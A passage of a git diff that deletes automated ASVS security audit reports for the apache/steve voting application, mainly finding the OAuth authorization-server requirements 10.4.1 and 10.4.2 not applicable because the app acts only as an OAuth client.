-While the current architecture is sound for ASVS 14.2.1 compliance, operators should be aware that:
-
-- CLI arguments may still appear in shell history files
-- Process listings may expose non-sensitive identifiers
-- Local filesystem access control becomes the primary security boundary
-
----
-
-## Recommendations Summary
-
-### Immediate Actions
-
-None required. The codebase demonstrates full compliance with ASVS 14.2.1 within its applicable scope.
-
-### Short-term Recommendations
-
-1. **Documentation**: Document the architectural decision to use CLI tools rather than web APIs for administrative functions, explicitly noting the security benefits including ASVS 14.2.1 compliance.
-
-2. **Operational guidance**: Provide operator documentation on shell history management and process listing security for environments where CLI argument exposure is a concern.
-
-### Long-term Recommendations
-
-1. **Maintain architectural separation**: If web-based administrative interfaces are added in the future, ensure that sensitive data transmission follows ASVS 14.2.1 requirements (POST body or headers only, never in URLs or query strings).
-
-2. **Security boundary documentation**: Maintain clear documentation of trust boundaries and data flow paths as the system evolves to ensure continued compliance with data protection requirements.
-
----
-
-## Appendix: Files Analyzed
-
-<details>
-<summary>Click to expand file list (5 files)</summary>
-
-1. **`v3/server/bin/create-election.py`** (relevance: 10/10)
- - CLI tool for election creation
- - Uses argparse for input handling
- - Reads configuration from YAML files
- - No HTTP communications
-
-2. **`v3/server/bin/mail-voters.py`** (relevance: 10/10)
- - CLI tool for voter notification
- - Uses `asfpy.messaging.mail()` for email transport
- - Handles voter PII in message body
- - No HTTP communications
-
-3. **`v3/server/bin/tally.py`** (relevance: 10/10)
- - CLI tool for vote tallying
- - Performs vote decryption and counting
- - Outputs results to stdout
- - No HTTP communications
-
-4. **`v3/steve/vtypes/stv.py`** (relevance: 10/10)
- - Library module for Single Transferable Vote computation
- - Pure algorithmic logic
- - No network communications
-
-5. **`v3/steve/vtypes/yna.py`** (relevance: 10/10)
- - Library module for Yes/No/Abstain voting computation
- - Pure algorithmic logic
- - No network communications
-
-</details>
-
----
-
-**End of Report**
\ No newline at end of file
diff --git a/repos/apache/ASVS/reports/steve/d0aa7e9/authentication_authorization/10.4.1.md b/repos/apache/ASVS/reports/steve/d0aa7e9/authentication_authorization/10.4.1.md
deleted file mode 100644
index 41ce86a..0000000
--- a/repos/apache/ASVS/reports/steve/d0aa7e9/authentication_authorization/10.4.1.md
+++ /dev/null
@@ -1,233 +0,0 @@
-# ASVS 10.4.1 Audit Report
-
-## Executive Summary
-
-- **Repository:** apache/steve
-- **Audit Date:** Apr 21, 2026
-- **Auditor:** Tooling Agents
-- **ASVS Requirement:** 10.4.1 — Verify that the authorization server validates redirect URIs based on a client-specific allowlist of pre-registered URIs using exact string comparison.
-- **Level:** 1
-- **Section:** OAuth Authorization Server
-- **Files analyzed:** 5 relevant out of 5 total, 0 skipped
-
-### Finding Counts
-
-| Severity | Count |
-|----------|-------|
-| Critical | 0 |
-| High | 0 |
-| Medium | 0 |
-| Low | 0 |
-| **Total** | **0** |
-
-### Applicability Assessment
-
-**ASVS 10.4.1 is NOT APPLICABLE to this codebase.** The application operates exclusively as an **OAuth client/relying party**, delegating all authorization server responsibilities to external ASF OAuth infrastructure (`asfquart.auth`). No authorization server component exists within the audited repository.
-
----
-
-## Security Controls Inventory
-
-| Control | Defined | Location | Applied | Coverage |
-|---------|---------|----------|---------|----------|
-| OAuth AS redirect URI validation | Not present | N/A | N/A | Not applicable — no AS component |
-| OAuth client authentication | External (`asfquart.auth`) | `pages.py` decorators | All protected routes | Framework-level |
-| Session management | External (`asfquart.session`) | `pages.py:basic_info()` | Via session read | Framework-level |
-
----
-
-## Critical File Review
-
-### OAuth Authorization Server Functionality Analysis
-
-| File | OAuth AS Functionality | Redirect URI Handling | Verdict |
-|------|------------------------|----------------------|---------|
-| `v3/server/pages.py` | None. Uses `@asfquart.auth.require` as OAuth **client** | No redirect_uri parameter processing; all `quart.redirect()` calls use hardcoded internal paths or DB-sourced election IDs | Not an AS |
-| `v3/steve/election.py` | None. Business logic only | No redirect URI handling | Not an AS |
-| `v3/steve/persondb.py` | None. Data access only | No redirect URI handling | Not an AS |
-| `v3/server/bin/asf-load-ldap.py` | None. Batch sync script | No redirect URI handling | Not an AS |
-| `v3/schema.sql` | No OAuth tables (no `client`, `redirect_uri`, `authorization_code` tables) | N/A | Not an AS |
-
-### Security-Sensitive Functions Reviewed
-
-| File | Function | Lines | Purpose | OAuth AS Relevance |
-|------|----------|-------|---------|-------------------|
-| `v3/server/pages.py` | `do_create_endpoint()` | N/A | Election creation with `@asfquart.auth.require` | OAuth client consumer only |
-| `v3/server/pages.py` | `basic_info()` | N/A | Session data retrieval | OAuth client session handling |
-| `v3/server/pages.py` | Multiple redirect calls | Various | Internal application redirects | Hardcoded paths, not OAuth redirects |
-
----
-
-## Findings
-
-### Summary
-
-**No findings identified.** ASVS 10.4.1 requires OAuth Authorization Server functionality that does not exist in this codebase.
-
----
-
-## Positive Security Patterns
-
-### 1. Secure Redirect Implementation
-**Location:** `v3/server/pages.py` (all redirect calls)
-
-The application demonstrates secure redirect practices in its internal navigation:
-
-```python
-# All redirects use hardcoded paths or DB-constrained identifiers
-return quart.redirect(f'/manage/{election.eid}', code=303) # eid from DB
-return quart.redirect('/voter', code=303) # hardcoded
-return quart.redirect(f'/vote-on/{election.eid}', code=303) # eid from DB
-```
-
-**Security benefits:**
-- No user-controllable redirect targets
-- No `?redirect=`, `?next=`, or `redirect_uri` parameter processing
-- Election IDs constrained by schema to `[0-9a-f]{10}` format, preventing injection
-
-### 2. Proper OAuth Client Architecture
-**Location:** `v3/server/pages.py` (authentication decorators)
-
-```python
-from asfquart.auth import Requirements as R
-
-@APP.post('/do-create-election')
-@asfquart.auth.require({R.pmc_member})
-async def do_create_endpoint():
- ...
-```
-
-**Security benefits:**
-- Clear separation of concerns: OAuth AS responsibilities delegated to specialized infrastructure
-- Framework-enforced authentication on sensitive routes
-- Reduced attack surface by not implementing custom OAuth AS logic
-
-### 3. Schema-Enforced Data Integrity
-**Location:** `v3/schema.sql`
-
-Election and issue IDs are constrained by CHECK constraints to prevent format violations that could lead to injection vulnerabilities in redirect paths.
-
----
-
-## Architecture Observations
-
-### OAuth Role Identification
-
-The application implements the following OAuth/OIDC roles:
-
-| Role | Implementation | Component |
-|------|---------------|-----------|
-| **Authorization Server (AS)** | External (ASF OAuth infrastructure) | Out of scope |
-| **OAuth Client/Relying Party (RP)** | This application | `asfquart.auth` integration |
-| **Resource Server (RS)** | This application | Protected election management endpoints |
-| **Resource Owner (RO)** | ASF members | External authentication |
-
-### Security Boundary Analysis
-
-```
-┌─────────────────────────────────────────────────────────────┐
-│ ASF OAuth Authorization Server (External) │
-│ - Redirect URI validation (ASVS 10.4.1 applies here) │
-│ - Client registration │
-│ - Token issuance │
-└────────────────┬────────────────────────────────────────────┘
- │ OAuth flow
- ▼
-┌─────────────────────────────────────────────────────────────┐
-│ asfquart Framework (External dependency) │
-│ - OAuth client implementation │
-│ - Callback/redirect URI handling │
-│ - Token exchange │
-└────────────────┬────────────────────────────────────────────┘
- │ Authenticated session
- ▼
-┌─────────────────────────────────────────────────────────────┐
-│ apache/steve Application (Audited scope) │
-│ - OAuth client consumer │
-│ - Resource server for election management │
-│ - Internal redirects only │
-└─────────────────────────────────────────────────────────────┘
-```
-
-### Design Assessment
-
-**Strengths:**
-1. **Appropriate separation of concerns**: OAuth AS complexity is delegated to specialized infrastructure rather than reimplemented
-2. **First-party application pattern**: Suitable architecture for applications within the same trust domain as the AS
-3. **Defense in depth**: Schema constraints prevent injection even if redirect logic were vulnerable
-
-**Dependencies:**
-1. Security of redirect URI validation depends entirely on external ASF OAuth AS
-2. Client-side OAuth flow security depends on `asfquart` framework implementation
-
----
-
-## Recommendations Summary
-
-### Immediate Actions (Operational Verification)
-
-| Priority | Recommendation | Rationale | Owner |
-|----------|---------------|-----------|-------|
-| **P0** | Verify ASF OAuth AS ASVS 10.4.1 compliance | Confirm external AS validates redirect URIs using exact string comparison against pre-registered allowlists per [RFC 6749 §3.1.2.2](https://datatracker.ietf.org/doc/html/rfc6749#section-3.1.2.2) | ASF Infrastructure Team |
-| **P1** | Document registered redirect URIs | Ensure application's registered `redirect_uri` at ASF AS uses exact match (no wildcards, no pattern matching) and is documented in deployment configuration | DevOps Team |
-
-### Short-term Actions (Dependency Audit)
-
-| Priority | Recommendation | Rationale | Owner |
-|----------|---------------|-----------|-------|
-| **P2** | Audit `asfquart.auth` module | Client-side OAuth flow handling (callback processing, state parameter validation, token handling) should be audited independently for ASVS OAuth client requirements | Security Team |
-| **P3** | Review OAuth client configuration | Verify client registration parameters (client_id, client_secret if confidential, registered redirect_uri) follow security best practices | Development Team |
-
-### Long-term Actions (Architecture)
-
-| Priority | Recommendation | Rationale | Owner |
-|----------|---------------|-----------|-------|
-| **P4** | Establish OAuth security baseline | Document OAuth architecture, trust boundaries, and security controls across ASF OAuth AS, `asfquart`, and consuming applications | Security Architecture Team |
-| **P5** | Implement dependency security monitoring | Track security advisories for `asfquart` and ASF OAuth infrastructure components | DevOps Team |
-
----
-
-## Appendix: Files Analyzed
-
-<details>
-<summary>Click to expand file list (5 files)</summary>
-
-### Analyzed Files
-
-1. **`v3/schema.sql`** (relevance: 10/10)
- - Database schema definition
- - No OAuth AS tables present
- - Election/issue ID constraints reviewed
-
-2. **`v3/server/bin/asf-load-ldap.py`** (relevance: 10/10)
- - LDAP synchronization script
- - No OAuth functionality
- - Batch processing only
-
-3. **`v3/server/pages.py`** (relevance: 10/10)
- - Main application routes
- - OAuth client decorators (`@asfquart.auth.require`)
- - Internal redirect handling reviewed
- - No OAuth AS endpoints
-
-4. **`v3/steve/election.py`** (relevance: 10/10)
- - Election business logic
- - No OAuth functionality
- - Data model operations only
-
-5. **`v3/steve/persondb.py`** (relevance: 10/10)
- - Person/voter data access
- - No OAuth functionality
- - Database abstraction layer
-
-</details>
-
----
-
-## Conclusion
-
-The apache/steve application correctly implements OAuth **client** functionality by delegating to the ASF OAuth infrastructure. ASVS 10.4.1 requirements apply to the **external ASF OAuth Authorization Server**, not this codebase.
-
-To achieve full ASVS 10.4.1 compliance for the complete system, the ASF OAuth AS must be verified separately to ensure redirect URI validation uses exact string comparison against client-specific pre-registered allowlists.
-
-The audited application demonstrates secure redirect practices in its internal navigation and appropriate OAuth client architecture patterns.
\ No newline at end of file
diff --git a/repos/apache/ASVS/reports/steve/d0aa7e9/authentication_authorization/10.4.2.md b/repos/apache/ASVS/reports/steve/d0aa7e9/authentication_authorization/10.4.2.md
deleted file mode 100644
index e91c66e..0000000
--- a/repos/apache/ASVS/reports/steve/d0aa7e9/authentication_authorization/10.4.2.md
+++ /dev/null
@@ -1,550 +0,0 @@
-# ASVS 10.4.2 Security Audit Report
-
-## Executive Summary
-
-**Audit Metadata:**
-- **Repository:** apache/steve
-- **Audit Date:** Apr 21, 2026
-- **Auditor:** Tooling Agents
-- **ASVS Requirement:** 10.4.2 — Verify that, if the authorization server returns the authorization code in the authorization response, it can be used only once for a token request. For the second valid request with an authorization code that has already been used to issue an access token, the authorization server must reject a token request and revoke any issued tokens related to the authorization code.
-- **ASVS Level:** 1
-- **Section:** OAuth Authorization Server
-- **Chapter:** OAuth and OIDC
-
-**Files Analyzed:** 5 relevant out of 5 total, 0 skipped
-
-**Finding Summary:**
-
-| Severity | Count |
-|----------|-------|
-| Critical | 0 |
-| High | 0 |
-| Medium | 0 |
-| Low | 0 |
-| **Total** | **0** |
-
-**Audit Conclusion:**
-
-After comprehensive analysis of all provided source files, **this application does not implement an OAuth Authorization Server**. The codebase functions as an **OAuth client/relying party** that delegates authentication to the ASF's external OAuth infrastructure via the `asfquart.auth` and `asfquart.session` libraries.
-
-There is no authorization endpoint, token endpoint, authorization code issuance, or code-to-token exchange logic present in this codebase. Therefore, **ASVS 10.4.2 is not applicable to this codebase** as the requirement specifically addresses OAuth Authorization Server responsibilities.
-
----
-
-## Security Controls Inventory
-
-The following security controls were identified and analyzed for their relationship to OAuth Authorization Server functionality:
-
-| Control Area | Location | Purpose | ASVS 10.4.2 Coverage Status |
-|--------------|----------|---------|----------------------------|
-| **OAuth Authentication** | `pages.py` — `@asfquart.auth.require()` decorator | Enforces authentication on protected endpoints | ❌ Client-side only — delegates to external AS |
-| **Session Management** | `pages.py` — `asfquart.session.read()` in `basic_info()` | Reads session data from external OAuth framework | ❌ Consumes sessions, does not issue codes/tokens |
-| **Role-Based Authorization** | `pages.py` — `R.committer`, `R.pmc_member` decorators | Enforces role-based access control per route | ❌ Application-level authorization, not OAuth AS |
-| **LDAP Synchronization** | `asf-load-ldap.py` | Populates person database from LDAP directory | ❌ Administrative tool, no OAuth functionality |
-| **Election State Machine** | `election.py` — `_compute_state()` method | Manages election lifecycle and state transitions | ❌ Business logic, not OAuth token management |
-| **Vote Token Cryptography** | `election.py` — `crypto` module usage | Encrypts/signs votes for election integrity | ❌ Application-specific crypto, not OAuth tokens |
-
-**OAuth Flow Architecture:**
-
-```
-┌─────────────────────────────────────────────────────────────┐
-│ ASF OAuth AS (External) │
-│ ← ASVS 10.4.2 APPLIES HERE (Not Auditable) │
-│ • Issues authorization codes │
-│ • Exchanges codes for tokens │
-│ • Enforces single-use code constraint │
-│ • Revokes tokens on code replay │
-└────────────────────────┬────────────────────────────────────┘
- │ OAuth tokens/sessions
- ▼
-┌─────────────────────────────────────────────────────────────┐
-│ asfquart.auth & asfquart.session │
-│ (External Library — Not Provided) │
-│ • Validates OAuth sessions │
-│ • Extracts user identity (uid, fullname, email) │
-└────────────────────────┬────────────────────────────────────┘
- │ User session data
- ▼
-┌─────────────────────────────────────────────────────────────┐
-│ THIS CODEBASE (OAuth Client/RP) │
-│ • pages.py — Route handlers consuming sessions │
-│ • election.py — Business logic with auth checks │
-│ • persondb.py — User database (not OAuth related) │
-└─────────────────────────────────────────────────────────────┘
-```
-
----
-
-## Critical File Review
-
-### `pages.py` — Route Handlers (OAuth Client Role)
-
-All route handlers in this file act as OAuth clients consuming sessions from the external Authorization Server. None implement AS functionality.
-
-| Route | Line(s) | Auth Decorator | OAuth Role | ASVS 10.4.2 Relevance |
-|-------|---------|----------------|------------|----------------------|
-| `POST /do-vote/<eid>` | N/A | `@asfquart.auth.require({R.committer})` | Client consuming session | ❌ None — client-side consumption |
-| `POST /do-create-election` | N/A | `@asfquart.auth.require({R.pmc_member})` | Client consuming session | ❌ None — client-side consumption |
-| `GET /do-open/<eid>` | N/A | `@asfquart.auth.require({R.committer})` | Client consuming session | ❌ None — client-side consumption |
-| `GET /do-close/<eid>` | N/A | `@asfquart.auth.require({R.committer})` | Client consuming session | ❌ None — client-side consumption |
-| `basic_info()` helper | N/A | N/A — reads session | Session data consumer | ❌ None — reads `uid`, `fullname`, `email` |
-
-**Key Functions Reviewed:**
-
-| Function | Purpose | OAuth AS Components Present |
-|----------|---------|----------------------------|
-| `basic_info()` | Extracts user identity from session | ❌ No — reads session, doesn't issue codes |
-| `vote_on_page()` | Validates user eligibility for voting | ❌ No — application authorization, not OAuth |
-| All route handlers | Handle HTTP requests with auth | ❌ No — all use external auth decorators |
-
-### `schema.sql` — Database Schema
-
-**OAuth Authorization Server Tables Expected vs. Found:**
-
-| Expected Table (OAuth AS) | Purpose | Present in Schema |
-|---------------------------|---------|-------------------|
-| `authorization_codes` | Track issued auth codes | ❌ Not found |
-| `oauth_tokens` | Store access/refresh tokens | ❌ Not found |
-| `token_revocations` | Log revoked tokens | ❌ Not found |
-| `code_usage_log` | Detect code replay | ❌ Not found |
-
-**Actual Tables Found:**
-
-| Table | Purpose | OAuth Relevance |
-|-------|---------|----------------|
-| `persons` | User directory | ❌ None — general user data |
-| `elections` | Election metadata | ❌ None — business domain |
-| `issues` | Voting issues | ❌ None — business domain |
-| `votes` | Cast votes | ❌ None — business domain |
-
-**Conclusion:** No OAuth Authorization Server infrastructure exists in the database schema.
-
-### `election.py` — Business Logic
-
-**Cryptographic Functions Reviewed:**
-
-| Function | Line(s) | Purpose | OAuth Token Relationship |
-|----------|---------|---------|-------------------------|
-| `_compute_state()` | N/A | Calculates election state | ❌ None — state machine logic |
-| Crypto module usage | N/A | Vote encryption/signing | ❌ None — application-specific crypto |
-| Vote token generation | N/A | Creates vote verification tokens | ❌ None — not OAuth tokens |
-
-**Conclusion:** All cryptographic operations are application-level vote integrity mechanisms, unrelated to OAuth token issuance or authorization code management.
-
-### `persondb.py` — User Database
-
-**Functions Reviewed:**
-
-| Function | Purpose | OAuth AS Functionality |
-|----------|---------|----------------------|
-| Person lookup methods | Query user directory | ❌ None — read-only user data |
-| LDAP integration | Sync user data | ❌ None — identity source, not OAuth |
-
-### `asf-load-ldap.py` — LDAP Synchronization
-
-**Purpose:** Administrative script to populate the `persons` table from LDAP directory.
-
-**OAuth Relevance:** ❌ None — this is an identity data source, not an OAuth Authorization Server component.
-
----
-
-## Findings
-
-### Critical Findings
-**No critical findings identified.**
-
-### High Findings
-**No high findings identified.**
-
-### Medium Findings
-**No medium findings identified.**
-
-### Low Findings
-**No low findings identified.**
-
----
-
-## Non-Applicability Analysis
-
-**Evidence that ASVS 10.4.2 does not apply to this codebase:**
-
-| Indicator | File(s) | Evidence | Conclusion |
-|-----------|---------|----------|------------|
-| **No authorization endpoint** | All files | No route matching `/authorize` or similar | Cannot issue authorization codes |
-| **No token endpoint** | All files | No route matching `/token` or code exchange logic | Cannot exchange codes for tokens |
-| **No authorization code storage** | `schema.sql` | No `authorization_codes` or equivalent table | No infrastructure to track code usage |
-| **No token revocation logic** | All files | No revocation endpoint or token invalidation code | Cannot revoke tokens on code replay |
-| **Auth delegation pattern** | `pages.py` | `@asfquart.auth.require()` decorators throughout | Relies on external AS for authentication |
-| **Session consumption only** | `pages.py` | `s = await asfquart.session.read()` followed by `s['uid']` access | Reads sessions, never issues them |
-| **No OAuth libraries imported** | All files | No `oauthlib`, `authlib`, or similar imports | No OAuth server implementation |
-
-**OAuth Role Classification:**
-
-```
-┌─────────────────────────────────────────────────────────────┐
-│ OAuth Authorization Server (ASVS 10.4.2 Target) │
-│ ✓ Issues authorization codes │
-│ ✓ Validates code single-use │
-│ ✓ Exchanges codes for tokens │
-│ ✓ Revokes tokens on code replay │
-└─────────────────────────────────────────────────────────────┘
- ▲
- │ NOT IMPLEMENTED IN THIS CODEBASE
- │
-┌─────────────────────────────────────────────────────────────┐
-│ OAuth Client/Relying Party (This Codebase) │
-│ ✓ Redirects users to AS for authentication │
-│ ✓ Receives and validates OAuth sessions │
-│ ✓ Uses access tokens to access resources │
-│ ✗ Does NOT issue authorization codes │
-│ ✗ Does NOT exchange codes for tokens │
-│ ✗ Does NOT manage token lifecycle │
-└─────────────────────────────────────────────────────────────┘
-```
-
----
-
-## Positive Security Patterns
-
-Despite ASVS 10.4.2 not being applicable, the following OAuth client security patterns are correctly implemented:
-
-### 1. Consistent Authentication Enforcement
-**Location:** `pages.py` — All sensitive endpoints
-
-**Pattern:** Every protected route uses `@asfquart.auth.require()` decorators to ensure the external OAuth session is validated before processing requests.
-
-**Example:**
-```python
-@asfquart.auth.require({R.committer})
-async def do_vote(eid: str):
- # Session automatically validated by decorator
- result = await basic_info() # Safely reads authenticated user
-```
-
-**Security Benefit:** Prevents unauthorized access by ensuring all sensitive operations require valid OAuth authentication from the external AS.
-
-### 2. Role-Based Access Control (RBAC)
-**Location:** `pages.py` — Route decorators
-
-**Pattern:** Differentiated privilege levels using role-specific decorators:
-- `R.pmc_member` — Higher privilege (e.g., election creation)
-- `R.committer` — Standard privilege (e.g., voting, viewing)
-
-**Security Benefit:** Implements principle of least privilege by requiring appropriate roles for sensitive operations, layered on top of OAuth authentication.
-
-### 3. Read-Only Session Consumption
-**Location:** `pages.py` — `basic_info()` function
-
-**Pattern:** Session data is consumed in a read-only manner:
-```python
-async def basic_info():
- s = await asfquart.session.read()
- return {
- 'uid': s['uid'],
- 'fullname': s['fullname'],
- 'email': s['email']
- }
-```
-
-**Security Benefit:** The client never attempts to modify OAuth tokens or session state, which is the correct pattern for an OAuth client. Token lifecycle management remains the responsibility of the AS.
-
-### 4. Application-Level Authorization Checks
-**Location:** `pages.py` — `vote_on_page()` endpoint
-
-**Pattern:** Beyond OAuth authentication, the application performs additional authorization checks:
-- Verifies per-user voting eligibility via `q_find_issues`
-- Checks election state before allowing vote access
-
-**Security Benefit:** Demonstrates defense-in-depth by layering application-specific authorization on top of OAuth authentication, ensuring users can only access resources they're entitled to within the business logic context.
-
-### 5. Separation of Authentication and Identity
-**Location:** `persondb.py`, `asf-load-ldap.py`
-
-**Pattern:** User identity data (LDAP) is separated from authentication mechanisms (OAuth):
-- LDAP serves as the identity source
-- OAuth handles authentication/authorization
-- Application queries identity data as needed
-
-**Security Benefit:** Clean separation of concerns allows independent management of identity data and authentication mechanisms.
-
----
-
-## Architecture Observations
-
-### 1. External Authorization Server Dependency
-**Observation:** The application has a complete trust relationship with the external ASF OAuth Authorization Server accessed via the `asfquart` library.
-
-**Implications:**
-- Session data from `asfquart.session.read()` is used directly for user identification without additional verification
-- This is appropriate for a client with a trusted relationship to its AS
-- However, the security of this application is bounded by the security of the external AS
-
-**Risk:** If the external AS does not properly implement ASVS 10.4.2 (authorization code single-use enforcement), this application cannot detect or mitigate authorization code replay attacks, as it operates downstream of the token issuance process.
-
-### 2. Audit Scope Limitation
-**Observation:** To fully audit ASVS 10.4.2 compliance, the following components (not included in provided files) would need examination:
-
-1. **ASF OAuth Authorization Server implementation:**
- - Authorization endpoint code issuance logic
- - Token endpoint code validation and exchange logic
- - Authorization code storage and usage tracking
- - Token revocation mechanisms on code replay
-
-2. **`asfquart.auth` library:**
- - Session validation logic
- - Token expiration handling
- - Response to AS-initiated token revocations
-
-3. **`asfquart.session` library:**
- - Session invalidation on token revocation
- - Token refresh mechanisms
- - Session-to-token binding
-
-**Recommendation:** Request these components for a complete ASVS 10.4.2 audit.
-
-### 3. Client-Side Security Posture
-**Observation:** The application correctly implements OAuth client security patterns:
-- Does not attempt to validate tokens directly (trusts AS validation)
-- Does not store or manage authorization codes
-- Does not implement custom token lifecycle management
-
-**Assessment:** This is the correct architecture for an OAuth client. The application appropriately delegates OAuth protocol responsibilities to the external AS and supporting libraries.
-
-### 4. No OAuth AS Infrastructure Present
-**Observation:** The database schema (`schema.sql`) contains only business domain tables (elections, votes, issues, persons) with no OAuth-related tables.
-
-**Expected OAuth AS Tables (Absent):**
-- `authorization_codes` — Track issued codes and usage
-- `oauth_clients` — Register client applications
-- `oauth_tokens` — Store access/refresh tokens
-- `token_revocations` — Log revoked tokens
-- `code_usage_audit` — Detect replay attempts
-
-**Conclusion:** The absence of these tables confirms this application does not function as an OAuth Authorization Server.
-
-### 5. Cryptographic Usage Clarification
-**Observation:** The `election.py` file uses cryptographic operations (vote tokens, salts, encryption keys), which could be confused with OAuth token management.
-
-**Clarification:** These are application-level cryptographic mechanisms for:
-- Vote encryption (ensuring vote privacy)
-- Vote integrity verification (preventing tampering)
-- Election result validation (cryptographic proof of outcomes)
-
-**Distinction:** These are entirely separate from OAuth access tokens, refresh tokens, or authorization codes. They serve the election domain logic, not authentication/authorization protocols.
-
----
-
-## Recommendations Summary
-
-### Immediate Actions (Critical Priority)
-**None required** — No ASVS 10.4.2 violations exist in this codebase as the requirement does not apply to OAuth clients.
-
-### Short-Term Actions (High Priority)
-
-#### 1. Audit External ASF OAuth Authorization Server
-**Rationale:** This application's security depends entirely on the external AS properly implementing ASVS 10.4.2.
-
-**Action Items:**
-- Request access to ASF OAuth Authorization Server source code
-- Verify authorization code storage mechanism exists
-- Confirm single-use enforcement at token endpoint
-- Validate token revocation on code replay detection
-- Test code replay scenarios in staging environment
-
-**Verification Checklist:**
-```
-□ Authorization codes stored with usage flag in persistent storage
-□ Token endpoint checks code usage before issuing tokens
-□ Second code usage attempt returns error (invalid_grant)
-□ All tokens issued with replayed code are revoked
-□ Revocation propagates to all resource servers
-□ Audit log records code replay attempts
-```
-
-#### 2. Audit `asfquart.auth` and `asfquart.session` Libraries
-**Rationale:** These libraries mediate between the AS and this application. They must correctly handle token lifecycle events.
-
-**Action Items:**
-- Review session validation logic in `asfquart.auth`
-- Verify token expiration handling
-- Confirm session invalidation on AS-initiated revocations
-- Test behavior when AS revokes tokens due to code replay
-
-**Verification Checklist:**
-```
-□ Library validates token expiration timestamps
-□ Expired tokens trigger re-authentication flow
-□ Revoked tokens result in session termination
-□ No caching of revoked tokens
-□ Proper error handling for invalid tokens
-```
-
-### Long-Term Actions (Medium Priority)
-
-#### 3. Document OAuth Architecture and Trust Boundaries
-**Rationale:** Clear documentation prevents future confusion about OAuth responsibilities and security boundaries.
-
-**Action Items:**
-- Create architecture diagram showing OAuth flow
-- Document which components are responsible for ASVS 10.4.2
-- Clarify trust assumptions about external AS
-- Define security requirements for `asfquart` library upgrades
-
-**Deliverable:** Security architecture document including:
-```
-- OAuth component diagram with trust boundaries
-- ASVS requirement mapping to components
-- Threat model for external AS compromise
-- Incident response procedures for OAuth vulnerabilities
-```
-
-#### 4. Implement Client-Side Security Monitoring
-**Rationale:** While the client cannot enforce ASVS 10.4.2, it can detect anomalies suggesting AS compromise.
-
-**Action Items:**
-- Log all authentication failures with details
-- Monitor for unusual session invalidation patterns
-- Alert on repeated authentication failures for same user
-- Track session duration anomalies
-
-**Metrics to Monitor:**
-```
-- Authentication failure rate (spike may indicate AS issue)
-- Session invalidation rate (unexpected revocations)
-- Re-authentication frequency (token refresh failures)
-- User complaints about forced logouts (possible revocations)
-```
-
-#### 5. Establish OAuth Dependency Review Process
-**Rationale:** Changes to external AS or `asfquart` library could introduce security regressions.
-
-**Action Items:**
-- Subscribe to ASF OAuth security announcements
-- Review `asfquart` release notes for security changes
-- Test authentication flows after library upgrades
-- Maintain staging environment mirroring production OAuth config
-
----
-
-## Appendix: Files Analyzed
-
-<details>
-<summary><strong>Click to expand full file list (5 files)</strong></summary>
-
-### Files Analyzed with OAuth Relevance Assessment
-
-| # | File Path | Relevance Score | OAuth AS Components | Analysis Summary |
-|---|-----------|----------------|---------------------|------------------|
-| 1 | `v3/schema.sql` | 10/10 | ❌ None | Database schema review — no OAuth tables present |
-| 2 | `v3/server/bin/asf-load-ldap.py` | 10/10 | ❌ None | LDAP sync script — identity source, not OAuth AS |
-| 3 | `v3/server/pages.py` | 10/10 | ❌ None | Route handlers — OAuth client consuming sessions |
-| 4 | `v3/steve/election.py` | 10/10 | ❌ None | Business logic — application crypto, not OAuth tokens |
-| 5 | `v3/steve/persondb.py` | 10/10 | ❌ None | User database — identity storage, not OAuth AS |
-
-### Detailed File Analysis
-
-#### 1. `v3/schema.sql`
-**Purpose:** Database schema definition for election system
-
-**OAuth-Related Analysis:**
-- ✅ Reviewed all table definitions
-- ❌ No `authorization_codes` table
-- ❌ No `oauth_tokens` table
-- ❌ No `oauth_clients` table
-- ❌ No token revocation tables
-
-**Tables Present:**
-- `persons` — User identity data
-- `elections` — Election metadata
-- `issues` — Voting issues
-- `votes` — Cast votes
-- Supporting tables for election domain
-
-**Conclusion:** Pure business domain schema with no OAuth Authorization Server infrastructure.
-
-#### 2. `v3/server/bin/asf-load-ldap.py`
-**Purpose:** Administrative script to synchronize user data from LDAP to local database
-
-**OAuth-Related Analysis:**
-- ✅ Reviewed all functions
-- ❌ No authorization code generation
-- ❌ No token issuance logic
-- ❌ No OAuth endpoints
-
-**Functions Reviewed:**
-- LDAP connection and query logic
-- Person record creation/update
-- Database synchronization
-
-**Conclusion:** Identity data source only — not part of OAuth flow.
-
-#### 3. `v3/server/pages.py`
-**Purpose:** HTTP route handlers for web application
-
-**OAuth-Related Analysis:**
-- ✅ Reviewed all routes and decorators
-- ✅ Identified `@asfquart.auth.require()` pattern (client-side)
-- ❌ No `/authorize` endpoint
-- ❌ No `/token` endpoint
-- ❌ No authorization code issuance
-- ❌ No code-to-token exchange
-
-**Key Functions Reviewed:**
-- `basic_info()` — Reads session data (client behavior)
-- `vote_on_page()` — Application authorization check
-- `do_vote()` — Protected route with auth decorator
-- `do_create_election()` — Protected route with role check
-- All other route handlers
-
-**Conclusion:** OAuth client/relying party consuming sessions from external AS.
-
-#### 4. `v3/steve/election.py`
-**Purpose:** Election business logic and state management
-
-**OAuth-Related Analysis:**
-- ✅ Reviewed all methods and crypto usage
-- ❌ No OAuth token generation
-- ❌ No authorization code handling
-- ❌ Crypto operations are vote-specific, not OAuth tokens
-
-**Functions Reviewed:**
-- `_compute_state()` — State machine logic
-- Vote encryption methods
-- Vote token generation (application-level, not OAuth)
-- Election lifecycle management
-
-**Conclusion:** Business logic with application-specific cryptography, unrelated to OAuth Authorization Server responsibilities.
-
-#### 5. `v3/steve/persondb.py`
-**Purpose:** User database access layer
-
-**OAuth-Related Analysis:**
-- ✅ Reviewed all methods
-- ❌ No OAuth token storage
-- ❌ No authorization code tracking
-- ❌ Read-only user identity queries
-
-**Functions Reviewed:**
-- Person lookup methods
-- LDAP integration points
-- User data retrieval
-
-**Conclusion:** Identity data access layer, not involved in OAuth token lifecycle.
-
-</details>
-
----
-
-## Audit Certification
-
-This audit confirms that **ASVS 10.4.2 is not applicable** to the `apache/steve` codebase as it functions as an OAuth client/relying party, not an OAuth Authorization Server.
-
-To achieve ASVS 10.4.2 compliance for the complete authentication system, the external ASF OAuth Authorization Server and supporting `asfquart` libraries must be audited separately.
-
-**Audit Completed:** Apr 21, 2026
-**Auditor:** Tooling Agents
-**Methodology:** Manual source code review with OAuth architecture analysis
-
----
-
-*End of Report*
\ No newline at end of file
diff --git a/repos/apache/ASVS/reports/steve/d0aa7e9/authentication_authorization/10.4.3.md b/repos/apache/ASVS/reports/steve/d0aa7e9/authentication_authorization/10.4.3.md
deleted file mode 100644
index 0699948..0000000
--- a/repos/apache/ASVS/reports/steve/d0aa7e9/authentication_authorization/10.4.3.md
+++ /dev/null
@@ -1,318 +0,0 @@
-# ASVS 10.4.3 Security Audit Report
-
